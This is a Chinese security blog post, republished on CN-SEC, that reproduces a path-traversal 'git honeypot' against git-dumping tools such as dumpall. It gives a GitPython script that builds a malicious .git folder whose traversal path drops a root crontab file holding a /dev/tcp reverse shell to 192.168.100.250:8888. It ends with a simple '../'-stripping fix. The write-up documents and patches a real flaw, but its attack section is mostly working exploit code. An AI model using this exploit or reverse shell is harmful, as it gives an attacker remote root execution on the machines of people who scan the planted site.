git蜜罐复现

admin 2021年12月17日03:39:24评论173 views字数 1361阅读4分32秒阅读模式

好久不见,欠6章 ━━( ̄ー ̄*|||━━

0x01 git 蜜罐复现

具体原理请看 https://drivertom.blogspot.com/2021/08/git.html?m=1

import git

repo = git.Repo.init(path=".")

repo.index.add(items=['../../git_poc.txt'])

repo.index.commit('commit')

python3 -m pip install GitPython

python3 运行, 生成Poc

在当前目录的../../的目录下必须有git_poc.txt

比如当前脚本目录为 /Users/yhy/Desktop/gitpoc,那么在/Users/yhy要存在git_poc.txt

然后将 .git 文件夹整体拖入网站根目录下

效果:为防止干扰我直接在虚拟机中运行 dumpall 工具

git蜜罐复现
image-20210809154939407

没有在 dumpall/192.168.100.250_8080 目录下生成文件,而是进行了目录穿越, 在原计划(dumpall/192.168.100.250_8080)两层外的目录下生成了git_poc.txt 文件

1.1 计划任务反弹shell

先在/var/spool/cron/crontabs/ 下新建名为 root 的反弹shell代码文件。

* * * * * /bin/bash -i >& /dev/tcp/192.168.100.250/8888 0>&1

然后将repo.index.add(items=['../../git_poc.txt']) 中的../../git_poc.txt 替换, 使用多个**../**,确保返回到根目录

repo.index.add(items=['../../../../../../../../../../../../../../../../../../../../../../../../../../../var/spool/cron/crontabs/root'])

/var/spool/cron/root (centos系列主机)

/var/spool/cron/crontabs/root (debian系列主机)

git蜜罐复现
image-20210809173416573
git蜜罐复现
image-20210809173349713

0x02 修复

这就是个目录穿越漏洞,这里简单粗暴的将 ../ 全部删除,以dumpall为例,只要修复一处,即可确保Svn、DS_STORE同样修复

有更好的修复建议或者我修复的不完全,请后台留言,告诉我,谢谢

# dumpall/dumper.py
filename = str(filename).replace("../", "").replace("..\", "").replace("..;/", "").replace("..;\", "")
git蜜罐复现
image-20210809174123558

0x03 参考

https://drivertom.blogspot.com/2021/08/git.html?m=1

https://github.com/0xHJK/dumpall



免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

git蜜罐复现

来都来了,不关注一波?

本文始发于微信公众号(谁不想当剑仙):git 蜜罐复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月17日03:39:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   git蜜罐复现http://cn-sec.com/archives/452018.html

发表评论

匿名网友 填写信息